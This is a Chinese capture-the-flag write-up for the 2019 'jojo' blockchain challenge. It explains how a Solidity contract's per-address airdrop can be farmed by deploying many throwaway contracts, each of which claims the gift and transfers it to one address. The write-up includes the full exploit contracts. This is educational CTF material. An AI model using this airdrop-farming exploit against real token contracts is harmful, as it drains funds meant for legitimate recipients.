2019 数字经济 jojo

知识点

  • Airdrop Hunting(薅羊毛)

WP

源码:

pragma solidity ^0.4.24;

contract jojo {
     
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    address owner;

    constructor()public{
     
        owner = msg.sender;
    }

    event SendFlag(string b64email);

    function payforflag(string b64email) public {
     
        require(balanceOf[msg.sender] >= 100000);
        emit SendFlag(b64email);
    }

    function jojogame() payable{
     
        uint geteth = msg.value / 1000000000000000000;  //ether
        balanceOf[msg.sender] += geteth;
    }

    function gift() public {
     
        assert(gift[msg.sender] == 0);
        balanceOf[msg.sender] += 100;
        gift[msg.sender] = 1;
    }

    function transfer(address to,uint value) public{
     
        assert(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }

}

非常简单的逻辑,就是需要balance大于等于100000才能得到flag,有个空投函数gift,每次可以给一个还没有领取过空投的账号balance里加100。而且还有个转账函数,因此就是想办法开1000个账号都领空投,然后转给一个账号即可。

但是这。。。。咋办到呢?。。。有点迷,看了一下WP,才发现自己的solidity其实学的还是不扎实:
2019 数字经济 jojo_第1张图片
2019 数字经济 jojo_第2张图片
因此msg.sender并不一定是外部账号,也可以是合约账号,这样就好办了,写个POC:

pragma solidity ^0.4.24;

contract jojo {
     
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    address owner;

    constructor()public{
     
        owner = msg.sender;
    }

    function jojogame() payable{
     
        uint geteth = msg.value / 1000000000000000000;
        balanceOf[msg.sender] += geteth;
    }

    function gift() public {
     
        assert(gift[msg.sender] == 0);
        balanceOf[msg.sender] += 100;
        gift[msg.sender] = 1;
    }

    function transfer(address to,uint value) public{
     
        assert(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }

}

contract Test{
     
    jojo constant private a = jojo(0xE26d0B158729a3109b14fEE0542ccdAeE21bEB45);
    constructor() public{
     
        a.gift();
        a.transfer(0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8,100);
    }
}

contract Feng {
     
    function attack() public {
     
        for(uint i=0;i<=100;i++){
     
            Test test = new Test();
        }
    }
}

也是参考了别的师傅的WP,有个点就是attack函数里每次i的最大值,不能太大,100比较适合,再大的话就会:
2019 数字经济 jojo_第3张图片

你可能感兴趣的:(区块链)